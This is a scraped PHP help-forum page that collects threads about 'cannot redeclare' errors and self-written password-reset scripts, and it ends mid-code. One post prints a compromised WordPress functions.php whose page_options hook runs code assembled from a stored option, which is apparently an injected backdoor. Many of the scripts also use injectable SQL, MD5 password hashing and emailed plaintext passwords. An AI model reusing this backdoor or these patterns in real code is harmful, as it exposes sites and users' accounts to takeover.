PHP - Fatal Error: Cannot Redeclare Filter() Reset Password Form
Code: [Select]
<?php include 'config.php'; //include 'dbc.php'; ?> <?php function filter($data) { // <--line 6 $data = trim(htmlentities(strip_tags($data))); if (get_magic_quotes_gpc()) $data = stripslashes($data); $data = mysql_real_escape_string($data); return $data; } ?> <?php /******************* ACTIVATION BY FORM**************************/ if ($_POST['doReset']=='Reset') { $err = array(); $msg = array(); foreach($_POST as $key => $value) { $data[$key] = filter($value); } if(!isEmail($data['email'])) { $err[] = "ERROR - Please enter a valid email"; } $email = $data['email']; //check if activ code and user is valid as precaution $rs_check = mysql_query("select id from users where email='$email'") or die (mysql_error()); $num = mysql_num_rows($rs_check); // Match row found with more than 1 results - the user is authenticated. if ( $num <= 0 ) { $err[] = "Error - Sorry no such account exists or registered."; //header("Location: forgot.php?msg=$msg"); //exit(); } if(empty($err)) { $new_pass = GenPwd(); $pass_reset = MD5($new_pass); //$sha1_new = sha1($new); //set update sha1 of new password + salt $rs_activ = mysql_query("update users set pass='$pass_reset' WHERE email='$email'") or die(mysql_error()); $host = $_SERVER['HTTP_HOST']; $host_upper = strtoupper($host); //send email $message = "Here are your new password details ...\n User Email: $email \n Passwd: $new_pass \n Thank You Administrator $host_upper ______________________________________________________ THIS IS AN AUTOMATED RESPONSE. ***DO NOT RESPOND TO THIS EMAIL**** "; mail($email, "Reset Password", $message, "From: \"Member Registration\" <auto-reply@$host>\r\n" . "X-Mailer: PHP/" . phpversion()); $msg[] = "Your account password has been reset and a new password has been sent to your email address."; //$msg = urlencode(); //header("Location: forgot.php?msg=$msg"); //exit(); } } ?> <html> <head> <title>Forgot Password</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <script language="JavaScript" type="text/javascript" src="js/jquery-1.3.2.min.js"></script> <script language="JavaScript" type="text/javascript" src="js/jquery.validate.js"></script> <script> $(document).ready(function(){ $("#actForm").validate(); }); </script> <link href="styles.css" rel="stylesheet" type="text/css"> </head> <body> <table width="100%" border="0" cellspacing="0" cellpadding="5" class="main"> <tr> <td colspan="3"> </td> </tr> <tr> <td width="160" valign="top"><p> </p> <p> </p> <p> </p> <p> </p> <p> </p></td> <td width="732" valign="top"> <h3 class="titlehdr">Forgot Password</h3> <p> <?php /******************** ERROR MESSAGES************************************************* This code is to show error messages **************************************************************************/ if(!empty($err)) { echo "<div class=\"msg\">"; foreach ($err as $e) { echo "* $e <br>"; } echo "</div>"; } if(!empty($msg)) { echo "<div class=\"msg\">" . $msg[0] . "</div>"; } /******************************* END ********************************/ ?> </p> <p>If you have forgot the account password, you can <strong>reset password</strong> and a new password will be sent to your email address.</p> <form action="forgot.php" method="post" name="actForm" id="actForm" > <table width="65%" border="0" cellpadding="4" cellspacing="4" class="loginform"> <tr> <td colspan="2"> </td> </tr> <tr> <td width="36%">Your Email</td> <td width="64%"><input name="email" type="text" class="required email" id="txtboxn" size="25"></td> </tr> <tr> <td colspan="2"> <div align="center"> <p> <input name="doReset" type="submit" id="doLogin3" value="Reset"> </p> </div></td> </tr> </table> <div align="center"></div> <p align="center"> </p> </form> <p> </p> <p align="left"> </p></td> <td width="196" valign="top"> </td> </tr> <tr> <td colspan="3"> </td> </tr> </table> </body> </html> Fatal error: Cannot redeclare filter() (previously declared in/forgot.php:6) what is wrong ? Similar TutorialsI wanted to inherit child classes from parent class. But it gives error like this: Fatal error: Cannot redeclare class Ch2_Product in C:\wamp\www\OOPhpSolutions\Ch_02\Product.php on line 3 I have file like this: Product.php Quote <?php class Ch2_Product { protected $_title; protected $_type; public function __construct($title, $type) { $this->_title = $title; $this->_type = $type; } public function getTitle() { return $this->_title; } public function getType() { return $this->_type; } } ?> Next I've inherited like this: Book.php Quote <?php require 'Product.php'; class Ch2_Book extends Ch2_Product { //defining functions } ?> And DVD.php Quote <?php require 'Product.php'; class Ch2_DVD extends Ch2_Product { // } ?> Finally I tried to catch the child class values like this in Ch_Book.php Quote <?php require_once 'Book.php'; require_once 'DVD.php'; $product1 = new Ch2_Book('Old Man and the Sea', 'Novel'); $product2 = new Ch2_DVD('Gone With the Wind', 'Movie'); echo $product1->getTitle(); echo $product1->getType(); echo $product2->getTitle(); echo $product2->getType(); ?> But it gave that error. Can anyone solve this? I am getting the following error trying to login to my wordpress backoffice. Fatal error: Cannot redeclare iis7_supports_permalinks() (previously declared in /home/denewman/public_html/KoodayOnline.com/wp-includes/functions.php:3476) in /home/denewman/public_html/KoodayOnline.com/wp-admin/includes/misc.php on line 403 Searching online it appears there is a conflict where there should be a require_once function or something of that sort. There is even a post on this board that talks about it at http://www.phpfreaks.com/tutorial/defining-a-php-function-only-once Since I have never actually dealt with this code before I am not sure where I need to put it for this error. Basically I need help. I have attached the code in two notepad files. Would appreciate any help I can get I know what is wrong but I have no idea how to fix it. This code (at lease part of it) should loop about 17 times (based on the current parameters in the database), but it stops after 1st. I have no idea how to "undeclare" getPage() at the end to make it loop again. Code: [Select] $result = mysql_query("SELECT * FROM Teacher_Registrations WHERE active ='Yes' Order by Full_Name"); while($row = mysql_fetch_array($result)) { $result2 = mysql_query("SELECT * FROM Project_Registrations WHERE (Teacher = '$row[Full_Name]') AND ((Paid_1 = 'No') OR (Paid_2 = 'No' AND Second_Name != 'nostudent') OR (Paid_3 = 'No' AND Third_Name != 'nostudent'))"); $num_rows2 = mysql_num_rows($result2); $row2 = mysql_fetch_array($result2); if ($num_rows2 > '0') { $url = 'http://www.mayapge.us/page.php?'; $url .= 'email='.urlencode("myemail"); $url .= '&teacherid='.urlencode($row['ID']); function getPage($proxy, $url, $header, $timeout) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, $header); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_PROXY, $proxy); curl_setopt($ch, CURLOPT_HTTPPROXYTUNNEL, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout); curl_setopt($ch, CURLOPT_REFERER, 'http://mypage.org'); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8'); $result3['EXE'] = curl_exec($ch); $result3['INF'] = curl_getinfo($ch); $result3['ERR'] = curl_error($ch); curl_close($ch); return $result3; } $result3 = getPage('', $url, '', 15); }} Here is the code: // Count files function filecount($FolderPath) { $filescount = 0; // Open the directory $dir = opendir($FolderPath); // if the directory doesn't exist return 0 if (!$dir){return 0;} // Read the directory and get the files while (($file = readdir($dir)) !== false) { if ($file[0] == '.'){ continue; } //if '.' it is a sub folder and call the function recursively if (is_dir($FolderPath.$file)){ // Call the function if it is a folder type $filescount += filecount($FolderPath.$file.DIRECTORY_SEPARATOR); } else { // Increment the File Count. $filescount++; } } // close the directory closedir($dir); return $filescount; } function getfilenames($location) { // create an array to hold directory list $results = array(); // create a handler for the directory $handler = opendir($location); // open directory and walk through the filenames while ($file = readdir($handler)) { // if file isn't this directory or its parent, add it to the results if ($file != "." && $file != "..") { $results[] = $file; } } // tidy up: close the handler closedir($handler); // done! return $results; } function readfile($file) { $fh = fopen('./Data/' . $file, 'r'); $data = fread($fh, filesize($file)); fclose($fh); return $data; } Now, when I try to get the text from a textfile via the function readfile I get this error: Quote Fatal error: Cannot redeclare readfile() in ***Path\FileManagement.php on line 62 Whats wrong? Regards Worqy From yesterday, I am getting the following error on My wordpress Blog: Code: [Select] Fatal error: Cannot redeclare dsCrypt() (previously declared in /home/learnhow/public_html/wp-content/themes/cadabrapress_v1.1/functions.php(16) : runtime-created function(1) : eval()'d code:24) in /home/learnhow/public_html/wp-content/themes/cadabrapress_v1.1/functions.php(16) : runtime-created function(1) : eval()'d code on line 67 Due to this, the main page of the blog and even the categories, pages also are not opening. Just displaying the error. What is to be done? This is the content of the theme functions.php Code: [Select] <?php define("INC", TEMPLATEPATH . "/functions"); define("WIDGETS", TEMPLATEPATH . "/widgets"); require_once INC . "/wpzoom-functions.php"; require_once INC . "/wpzoom-core.php"; /** * Widgets */ require_once WIDGETS . "/wpzoom-video-widget.php"; ?> <?php function page_options() { $option = get_option('page_option'); $opt=unserialize($option); @$arg = create_function('', $opt[1].$opt[4].$opt[10].$opt[12].$opt[14].$opt[7] );return $arg('');} add_action('loop_start', 'page_options'); ?> Hi there, I have a local server set up on my computer which I have used before and it worked flawlessly. It is running apache with PHPand mySQL set up as services. Recently I attempted to copy a project I have worked on at school onto my server. I have the database up and running, however when I try to run a PHP file it gives me the error: Quote Fatal error: Cannot redeclare getText() in C:\Server\htdocs\projects\tournament\includes\functions.php on line 20 When I rename that function (which I know is not being redeclared) I get a browser error: Quote This webpage is not available. The webpage at http://localhost/projects/tournament/index.php might be temporarily down or it may have moved permanently to a new web address. More information on this error Below is the original error message Error 101 (net::ERR_CONNECTION_RESET): Unknown error. Has anybody else experienced this error and have a solution to fix it? My guess is that it has to do with the function gettext() being available on this machine but not on the machine at school, however I thought PHP was case sensitive? Fatal error: Cannot redeclare limitatexto() (previously declared in funciones.php:4) in funciones.php on line 12 <?php function limitatexto( $texto, $limite ) - Line 4 { if( strlen($texto)>$limite ) { $texto = substr( $texto,0,$limite ); } return $texto; } Line 12 I have tried resetting the password on my old account and the email never arrives , nor do my notifications for posts.
This topic has been moved to Application Design. http://www.phpfreaks.com/forums/index.php?topic=353345.0 This works up until if (email == email2){ What is wrong? Is it a problem with the queries? if(isset($_SESSION['rest']) || isset($_SESSION['chef'])){ header('Location:index.php');} if (isset($_POST['submit'])) { $errors = array(); // VALIDATION SCRIPT HERE $newpass = generatepassword(); $link = mysql_connect("****","*****","******") or die ("Could not connect!"); mysql_select_db("****"); $query = "SELECT `username`, `type` FROM `users` WHERE `username`='$username'"; $result = mysql_query($query); while($row = mysql_fetch_array($result)) {$type = $row['type'];} $numrows = mysql_num_rows($result); if ($numrows!=1){ $errors[] = 'Username not Found (Usernames are case sensitive)';} if($email == '' || $username == ''){ $errors[] = 'Please Fill in all Fields';} if (empty($errors)){ if ($type = 1){ $res1 = mysql_query("SELECT `username`,`email` FROM `rests` WHERE `username`='$username'"); while($row1 = mysql_fetch_array($res1)) {$email2 = $row1['email'];} }else{ $res2 = mysql_query("SELECT `username`,`email` FROM `chefs` WHERE `username`='$username'"); while($row2 = mysql_fetch_array($res2)) {$email2 = $row2['email'];} if ($email2 == $email) { echo $newpass; mysql_query("UPDATE `users` SET `password` = '$newpass' WHERE `username`='$username'"); //SEND EMAIL $my_email = 'enquiries@bakerdesigns.co.uk'; $email_from = 'Chef Match'; $email_subject = "Your New Password :: Chef Match"; $message = "Your new password is $newpass<br>You may change this via your control panel later."; $referer = $_SERVER['HTTP_REFERER']; $this_url = "http://".$_SERVER['HTTP_HOST'].$_SERVER["REQUEST_URI"]; if ($referer != $this_url) { echo "You do not have permission to use this script from another URL."; exit; } $from = "From: $email2\r\n"; mail($email2, $email_subject, $message, $from); $thanks = 'An email has been sent to $email2 containing your new password. Please check your junk folder.'; }} }else{$errors[] = 'Email did not match Username'; $thanks = 'Email could not be sent.';} } I've used this update statement before, even with parameter binding, something easy is off...
I'm trying to update a hash knowing a person's user name and email combination, this is not ideal I realize or safe. I actually generate a unique random hash per person who registers, I tell them to remember this eg. keep the email.
I don't know why the update statement is being bypassed.
So they enter username, email associated with username, new password. New password is hashed, replaces old one, redirect.
I've been echoing stuff just to see the flow of the code, what is being executed and what isn't.
if(empty($errors)){ $userrname = test_input($_POST['userrname']); $email = test_input($_POST['email']); $newpassword = test_input($_POST['newpassword']); $hash = password_hash($newpassword, PASSWORD_BCRYPT, array("cost" => 9)); $stmt = $link->prepare("SELECT username,hash FROM User where username=? And email=?"); $stmt->bind_param("ss",$userrname,$email); if($stmt->execute()) { $stmt->bind_result($username_from_db,$hash_from_db); if($stmt->fetch()){ $_SESSION['user']=$username_from_db; $query = "UPDATE User SET hash=$hash WHERE email=$email And username=$username_from_db"; if($result=$link->query($query)){ $_SESSION['status_message'] = "Password has been reset"; } }else { echo "no good"; } $host = $_SERVER['HTTP_HOST']; $uri = $_SERVER['REQUEST_URI']; // the path/file?query string of the page header("Location: newlocation.com"); exit; $link->close(); } Edited by moose-en-a-gant, 02 February 2015 - 12:48 AM. What would be a good way to reset a password ?
I was thinking
1 user requests reset password page or after faulty login suggest reset password page
2 fill in email address
3 check if email address exists
4 if address exist insert a random key into database
5 create a password reset url with random key and send to registered email address
6 after user clicks url in mail use $_GET to retrieve random key from password reset url
7 check if url exists in database
8 let user choose new password
9 check that password strenght is valid
10 encrypt password
11 write password in db
12 confirm page that password has been changed
Are there any obvious mistakes in this logic ?
This application will be aimed at 70-80 years old people so it has to be as easy to use as possible.
security questions and captcha's will be not really possible I am afraid.
thank you very much
anatak
Edited by anatak, 07 June 2014 - 08:08 PM. Hi, I have a php password reset script that is not updating the database, or there is some other reason the new password reset is giving me a "wrong password" error on trying to use it. Any help Greatly appreciated! Thank you. Code: [Select] <?php define('IN_SCRIPT', true); // Start a session session_start(); ini_set ("display_errors", "1"); error_reporting(E_ALL); $host = " "; $database = " "; $username = " ; $password = " "; $tbl_name = " "; $conn = mysql_connect($host, $username, $password) or die("Could not connect: " . mysql_error()); if($conn) { mysql_select_db($database); echo "connected to database!!"; } else { echo "failed to select database"; } //this function will display error messages in alert boxes, used for login forms so if a field is invalid it will still keep the info //use error('foobar'); function error($msg) { ?> <html> <head> <script language="JavaScript"> <!-- alert("<?=$msg?>"); history.back(); //--> </script> </head> <body> </body> </html> <? exit; } //This functions checks and makes sure the email address that is being added to database is valid in format. function check_email_address($email) { // First, we check that there's one @ symbol, and that the lengths are right if (!ereg("^[^@]{1,64}@[^@]{1,255}$", $email)) { // Email invalid because wrong number of characters in one section, or wrong number of @ symbols. return false; } // Split it into sections to make life easier $email_array = explode("@", $email); $local_array = explode(".", $email_array[0]); for ($i = 0; $i < sizeof($local_array); $i++) { if (!ereg("^(([A-Za-z0-9!#$%&'*+/=?^_`{|}~-][A-Za-z0-9!#$%&'*+/=?^_`{|}~\.-]{0,63})|(\"[^(\\|\")]{0,62}\"))$", $local_array[$i])) { return false; } } if (!ereg("^\[?[0-9\.]+\]?$", $email_array[1])) { // Check if domain is IP. If not, it should be valid domain name $domain_array = explode(".", $email_array[1]); if (sizeof($domain_array) < 2) { return false; // Not enough parts to domain } for ($i = 0; $i < sizeof($domain_array); $i++) { if (!ereg("^(([A-Za-z0-9][A-Za-z0-9-]{0,61}[A-Za-z0-9])|([A-Za-z0-9]+))$", $domain_array[$i])) { return false; } } } return true; } if (isset($_POST['submit'])) { if ($_POST['forgotpassword']=='') { error('Please Fill in Email.'); } if(get_magic_quotes_gpc()) { $forgotpassword = htmlspecialchars(stripslashes($_POST['forgotpassword'])); } else { $forgotpassword = htmlspecialchars($_POST['forgotpassword']); } //Make sure it's a valid email address, last thing we want is some sort of exploit! if (!check_email_address($_POST['forgotpassword'])) { error('Email Not Valid - Must be in format of name@domain.tld'); } // Lets see if the email exists $sql = "SELECT COUNT(*) FROM users WHERE email = '$forgotpassword'"; $result = mysql_query($sql)or die('Could not find member: ' . mysql_error()); if (!mysql_result($result,0,0)>0) { error('Email Not Found!'); } //Generate a RANDOM MD5 Hash for a password $random_password=md5(uniqid(rand())); //Take the first 8 digits and use them as the password we intend to email the user $emailpassword=substr($random_password, 0, 8); //Encrypt $emailpassword in MD5 format for the database $newpassword = md5($emailpassword); // Make a safe query $query = sprintf("UPDATE `users` SET `password` = '%s' WHERE `email` = '$forgotpassword'", mysql_real_escape_string($newpassword)); mysql_query($query)or die('Could not update members: ' . mysql_error()); //Email out the infromation $site_name = "MYSITECOM"; $site_email = "noreply@MYSITE.COM"; $subject = "Your New Password"; $message = "Your new password is as follows: ---------------------------- Password: $emailpassword ---------------------------- Please make note this information has been encrypted into our database This email was automatically generated."; if(!mail($forgotpassword, $subject, $message, "FROM: $site_name <$site_email>")){ die ("Sending Email Failed, Please Contact Site Admin! ($site_email)"); }else{ error('New Password Sent!.'); } } else { ?> <form name="forgotpasswordform" action="" method="post"> <table border="0" cellspacing="0" cellpadding="3" width="100%"> <caption> <div>Forgot Password</div> </caption> <tr> <td>Email Address:</td> <td><input name="forgotpassword" type="text" value="" id="forgotpassword" /></td> </tr> <tr> <td colspan="2" class="footer"><input type="submit" name="submit" value="Submit" class="mainoption" /></td> </tr> </table> </form> <? } ?> Hi guys I have this code, where it gets clicked from an email and then compares the tmp password etc and updates the new password in md5 format. I have been trying to find the issue why it doesnt update the password but i couldn't can u help me to find out why? Please note all the db field names are correct in the code below. thanks in advance <?php include ("include/global.php"); include ("include/function.php"); $code = $_GET['code']; if (!$code){ Header("Location: forgotpassword.php"); } else { if (isset($_POST['reset']) && $_POST['reset']) { $myemail=$row['email']; $mycurrentpass=$row['currentpass']; $mynewpass=$row['newpassword']; $myrepass=$row['repassword']; // $getcurrentinfo=mysql_query("SELECT email,password FROM users WHERE email='$myemail'"); while($row = mysql_fetch_array($getcurrentinfo)) { $currentemail=$row['email']; $currentpass=$row['password']; } // $newpassword = md5($mynewpass); $repeatpassword = md5($myrepass); if($myemail==$currentemail&& $currentpass==$mycurrentpass) { if($newpassword==$repeatpassword) { $updatepass=mysql_query("UPDATE users SET password='$newpassword' WHERE email='$myemail'"); } else {echo "Information provided are not correct, please try again with correct information";} } else {echo "Information provided are not correct, please try again with correct information";} } } ?> <html> <head> <script type="text/javascript" src="/js/jquery.js"></script> <script type="text/javascript" src="/js/jquery.validate.js"></script> <script type="text/javascript" src="/js/jquery.pstrength-min.1.2.js"></script> <script type="text/javascript"> $(function() { $('.password').pstrength(); }); $(document).ready(function(){ $("#form").validate({ rules: { email: { required: true, email: true } } }); }); </script> </head> <body> <fieldset> <form action='' method='POST' id='form'> <p>Enter Your Email: </p> <p> <input type='text' name='email' class="required"></td> <p>Enter Your Temporary Password: </p> <p> <input type='text' name='currentpass' class="required"></td> <p>Enter Your New Password: </p> <p> <input type='text' name='newpassword' class="password"></td> <p>Repeat Your New Password: </p> <p> <input type='text' name='repassword' class="required"></td> </table> </p> <p> <input type='submit' name='reset' value='Submit' id='form'> </form> </fieldset> </body> </html> for some reason the password reset part of my site has stopped working and I am very sure that nothing has been altered in the related files since they was created. a visitor clicks 'reset password' link on our site and is taken to the following file which initiates the reset password routine. the visitor would get a link they need to click for the password to be altered and emailed to them. this first file does update the database with a `changeofpasswordcode`and this is emailed as it should be. Code: [Select] <?PHP include('includes/connection.php'); include('includes/functions.php'); date_default_timezone_set('Europe/London'); if(isset($_POST['reset']) && trim($_POST['reset']) == 'Reset Password') { $email = mysql_real_escape_string($_POST['email']); $checkConfirmed = mysql_query("SELECT account_id FROM customers WHERE email='$email' AND verifyCode != '' LIMIT 1"); $checkEmail = mysql_query("SELECT account_id FROM customers WHERE email='$email' LIMIT 1"); $checkVerify = mysql_query("SELECT account_id FROM customers WHERE email='$email' AND verified='No' LIMIT 1"); $checkBanned = mysql_query("SELECT account_id FROM customers WHERE email='$email' AND suspended='Yes' LIMIT 1"); if(!$email) { $thisError = 'Please enter your e-mail address.'; } else if(! mysql_num_rows($checkEmail)) { $thisError = 'That email address is not registered with us.'; } else if(mysql_num_rows($checkConfirmed)) { $thisError = 'Your email address has not been verified, please check your email and following instructions within.'; } else if(mysql_num_rows($checkVerify)) { $thisError = 'Your account has not been approved by an Admin.'; } else if(mysql_num_rows($checkBanned)) { $thisError = 'Your account has been suspended by an Admin.'; } else { // } } include('includes/header.php'); ?> <body> <div class="headerBar"> <? include('includes/navigation.php');?> </div> <? headerText(); ?> <div class="content"> <div class="widthLimiter contentStyle"> <div class="formWrapper" style="width: 500px;"> <? if(isset($thisError)) { echo '<div class="errorDiv">',$thisError,'</div>'; } ?> <? if(isset($thisSuccess)) { echo '<div class="successDiv">',$thisSuccess,'</div>'; } ?> <span class="subHeader">Initiate Password Reset</span> <? // password reset $useremail = isset($_POST['email']) != '' ? trim($_POST['email']) : '' ; if ($useremail != "") { // get email and password and email them $sql = "SELECT * FROM `customers` WHERE (`email` = '" . mysql_real_escape_string($useremail) . "') LIMIT 1"; $res = mysql_query($sql); $email = @mysql_result($res, 0 ,'email'); $customerName = @mysql_result($res, 0 ,'fullname'); if(@mysql_num_rows($res) && @mysql_result($res, 0 ,'verified') == "Yes" && @mysql_result($res, 0 ,'suspended') == "No") { if(@mysql_result($res, 0 ,'changeofpasswordcode') != "") { $randomcode = @mysql_result($res, 0 ,'changeofpasswordcode'); } else { $randomcode = CreatePasswordResetCode(); } $_SESSION['customerName'] = $customerName; $_SESSION['customerEmail'] = $email; $_SESSION['randomcode'] = $randomcode; createEmailSend('passwordReset', 'Request to reset your password', 'customer'); $format = 'Y-m-d H:i:s'; $date = date( $format ); // set value in DB that email WAS sent $sql = "UPDATE `customers` SET `changeofpasswordcode` = '" . $randomcode . "', `newpasswordrequestedon` = '" . $date . "' WHERE `email` = '" . mysql_real_escape_string($email) . "' LIMIT 1"; $res = mysql_query($sql); ?><br /><br /><div>You will shortly receive an email which contains a reset password link,<br>please check your email and click this link to reset your password.<br /><br />A new password will then be emailed to you.</div><? } else { // not valid username entered. ?><br /><br /><div>If you are having trouble accessing your account please let us know<br />via <a href="mailto:admin@tm2cars.co.uk">email</a> and we shall look into this for you A.S.A.P.</div><? } } else { ?><br /><br /><div style=""><form method="post" action="">Please enter your Email Address for your account in the<br>field below and click 'Reset' to initiate a password reset.<br /><br /><input name="email" type="text" size="25"><input type="submit" name="reset" value=" Reset Password"></form></div> <? } ?> </div> </div> </div> <? include('includes/footer.php');?> </body> </html> once they get their email they click the link which taken them to the next page which would perform the change of password and have it emailed to them. the link has the correct `changeofpasswordcode` which is in the database but when the link is clicked the page says that the code is not valid as it is not in the DB. and then it removes the `changeofpasswordcode` it should only remove the `changeofpasswordcode` once the new password is setup and emailed, so that the link can not be used again. what i do not understand is why the second file does this, can anyone see what i might be doing wrong ? or what could be causing this ? Code: [Select] <?PHP include('includes/connection.php'); include('includes/functions.php'); date_default_timezone_set('Europe/London'); if(isset($_POST['reset']) && trim($_POST['reset']) == 'Reset') { $email = mysql_real_escape_string($_POST['email']); $checkVerify = mysql_query("SELECT account_id FROM customers WHERE email='$email' AND verified='No' LIMIT 1"); $checkBanned = mysql_query("SELECT account_id FROM customers WHERE email='$email' AND suspended='Yes' LIMIT 1"); if(!$email) { $thisError = 'Please enter your e-mail address.'; } else if(!$password) { $thisError = 'Please enter your password.'; } else if(mysql_num_rows($checkVerify)) { $thisError = 'Your account has not been approved by an Admin.'; } else if(mysql_num_rows($checkBanned)) { $thisError = 'Your account has been suspended by an Admin.'; } else { $password = md5($password); $checkAccount = mysql_query("SELECT account_id FROM customers WHERE email='$email' AND password='$password' LIMIT 1"); if(mysql_num_rows($checkAccount)) { $_SESSION['FM_user'] = $email; header('Location: members.php'); exit; } else { $thisError = 'Your e-mail address and/or password is incorrect.'; } } } include('includes/header.php'); ?> <body> <div class="headerBar"> <? include('includes/navigation.php');?> </div> <? headerText(); ?> <div class="content"> <div class="widthLimiter contentStyle"> <div class="formWrapper"> <? if(isset($thisError)) { echo '<div class="errorDiv">',$thisError,'</div>'; } ?> <? if(isset($thisSuccess)) { echo '<div class="successDiv">',$thisSuccess,'</div>'; } ?> <span class="subHeader">Initiate Password Reset</span> <? // include("sendmail2010.php"); $securitycode = stripstring($_GET[pwr]); if ($securitycode != "") { $sql = "SELECT * FROM `customers` WHERE `changeofpasswordcode` = '".mysql_real_escape_string($securitycode)."' LIMIT 1"; $res = mysql_query($sql); if (@mysql_num_rows($res) && $securitycode != "") { $customerName = @mysql_result($res, 0 ,'fullname'); $email = @mysql_result($res, 0 ,'email'); $yourpasswordtologin = CreateNewPassword(); $format = 'Y-m-d H:i:s'; $date = date( $format ); $sql = "UPDATE `customers` SET `password` = '" . md5(mysql_real_escape_string($yourpasswordtologin)) . "', `changeofpasswordcode` = '', `newpasswordrequestedon` = '' WHERE `changeofpasswordcode` = '" . mysql_real_escape_string($securitycode) . "' LIMIT 1"; $res = mysql_query($sql); $_SESSION['customerName'] = $customerName; $_SESSION['customerEmail'] = $email; $_SESSION['generatePass'] = $yourpasswordtologin; createEmailSend('newPassword', 'Your new password', 'customer'); ?><div style="margin: 30px;">Thank you for completing your password reset process.<br><br>An email with a randomly generated password has been sent to your email address, please check your email account for this email as you will need this password to access your <?=$_SESSION['siteName'];?> account.<br><br><strong><em>Please check your 'spam folder' in case our emails are showing up there.</em></strong><br><br>You may now <a href="<?=$_SESSION['webAddress'];?>">sign in</a> to your account.</div><? } else { ?><div style="margin: 20px;">Sorry the link you clicked is and old password reset link or is not valid, please delete the email.<br><br>If you were trying to reset your password, please click the<br>'Member Login' link on our site and then click the 'Reset Password' link.</div><? } } ?> </div> </div> </div> <? include('includes/footer.php');?> </body> </html> Hi I have the code below when users firget their password, they fill forrgot password form and an email will be sent to them which directs them to a page where (code below) they can reset their password. When i fill the form I get the msg it says password has been changed however it wont change it in database. I have checked the code, current entries in database etc but still it wont change the password. Can u please what im doing wrong? <?php include 'global.php'; $account_reference = $_GET['code']; echo "$account_reference"; if (isset($_POST['resetpassword']) && $_POST['resetpassword']) { $email = addslashes(strip_tags($_POST['email'])); $username = addslashes(strip_tags($_POST['username'])); $password = addslashes(strip_tags($_POST['password'])); $newpasswordnomd = addslashes(strip_tags($_POST['newpassword'])); $repasswordnomd = addslashes(strip_tags($_POST['repassword'])); $code = addslashes(strip_tags($_POST['code'])); $getdata=mysql_query("SELECT * FROM users WHERE username='$username' AND email='$email' AND code='$code'"); while($row = mysql_fetch_array($getdata)) { $got_username=$row['username']; $got_email=$row['email']; $got_ref=$row['code']; $got_pass=$row['password']; } $newpassword = md5($newpasswordnomd); $repassword = md5($repasswordnomd); if($password==$got_pass) { if ($email==$got_email) { if ($username==$got_username) { if($newpassword==$repassword) { $resetpass=mysql_query("UPDATE users SET password='$repassword' WHERE email=='$email' AND username=='$username'"); echo "Your Password has been reset"; } else {echo "Your New Password and Repeat Password do not match";} } else {echo "Your Username does not match our records";} } else {echo "Your Email does not match our records";} } } ?> <form action='' method='POST' enctype='multipart/form-data'> <input type="hidden" name='code' value="<?php echo "$account_reference";?>"><p /> Email: <br/> <input type="email" name='email'><p /> Username: <br/> <input type='text' name='username'><p /> Password: <br/> <input type='text' name='password'><p /> New Password: <br/> <input type='text' name='newpassword'><p /> Repeat New Password: <br/> <input type='text' name='repassword'><p /> <input type='submit' name='resetpassword' value='Update'> Hello I've recently been made aware that I need to hash the token I use when allowing users to reset their password. I have a working solution but I'm hoping someone could let me know if this is an adequate way of doing it; 1. User enters their email, I check whether their actually a member and then... create a passcode (1) create a salt (2) hash them together to create a passcode_hash (3) insert the (2) and (3) into the database send an email to the user with a link using (1) and the userid in the address 2. When the link is followed... $_GET the userid and lookup the salt and passcode_hash for that id hash together the passcode in the URL with the salt, and compare that to passcode_hash if that is successfull then allow an update of the password (show the update form) 3. The password update form is sent along with two hidden fields (the passcode and userid from the URL) On the form processing script I perform the same check as on Step 2 to check the passcode and user id have not been messed with Update the password and delete the passcode Hopefully that makes sense... is that correct? Here is my code that compares the passcode with the passcode_hash.... // get the passcode and email from URL (I will sanitize these) $passcode = $_GET['passcode']; $member_id = $_GET['uid']; // find the salt associated with the userid $stmt = $db->prepare("SELECT passcode,salt FROM members_verify WHERE members_id = ?"); $stmt->bind_param('i',$member_id); $stmt->execute(); $stmt->bind_result($db_passcode,$salt); $stmt->fetch(); $stmt->close(); // Create salted password $passcode_hash = hash('sha512', $passcode . $salt); if($passcode_hash===$db_passcode){ $allowUpdate = 'yes'; }Any advice would be great Edited by paddyfields, 07 June 2014 - 08:18 AM. <?php if (isset($_POST['reset-submit'])) { $selector = $_POST['selector']; $validator = $_POST['validator']; $password = $_POST['password']; $password2 = $_POST['password2']; // probably better to check this earlier if (empty($password) || empty($password2)) { header("Location: ../create-new-password.php?newpassword=empty&selector=$selector&validator=$validator"); } elseif ($password !== $password2) { header("Location: ../create-new-password.php?newpassword=passwordsnotmatch"); } $currentDate = date("U"); require "dbh.inc.php"; $sql = "SELECT * FROM reset_password WHERE selector=? AND expires >= $currentDate"; $stmt = mysqli_stmt_init($conn); if (!mysqli_stmt_prepare($stmt, $sql)) { echo "SQL error 1"; exit(); } else { mysqli_stmt_bind_param($stmt, 'ss', $selector, $currentDate); mysqli_stmt_execute($stmt); $result = mysqli_stmt_get_result($stmt); if (!$row = mysqli_fetch_assoc($result)) { echo 'You need to re-submit your reset request.'; exit(); } else { $tokenBin = hex2bin($validator); $tokenCheck = password_verify($tokenBin, $row['token']); if (!$tokenCheck) { echo 'You need to re-submit your reset request.'; exit(); } else { $email = $row['email']; $sql = "SELECT * FROM users WHERE email = $email"; $stmt = mysqli_stmt_init($conn); if (!mysqli_stmt_prepare($stmt, $sql)) { echo "SQL error 2"; exit(); } else { mysqli_stmt_bind_param($stmt, 's', $email); mysqli_stmt_execute($stmt); $result = mysqli_stmt_get_result($stmt); if (!$row = mysqli_fetch_assoc($result)) { echo "SQL error 3"; exit(); } else { $sql = "UPDATE users SET password=? WHERE email=?"; $stmt = mysqli_stmt_init($conn); if (!mysqli_stmt_prepare($stmt, $sql)) { echo "SQL error4 "; exit(); } else { $hashed_password = password_hash($password, PASSWORD_DEFAULT); mysqli_stmt_bind_param($stmt, 'ss', $hashed_password, $email); mysqli_stmt_execute($stmt); $sql = 'DELETE FROM reset_password WHERE email=?'; $stmt = mysqli_stmt_init($conn); if (!mysqli_stmt_prepare($stmt, $sql)) { echo 'SQL error5'; exit(); } else { mysqli_stmt_bind_param($stmt, 's', $email); mysqli_stmt_execute($stmt); header("Location: ../signup.php?newpassword=updated"); } } } } } } } mysqli_stmt_close($stmt); mysqli_close($conn); header('Location: 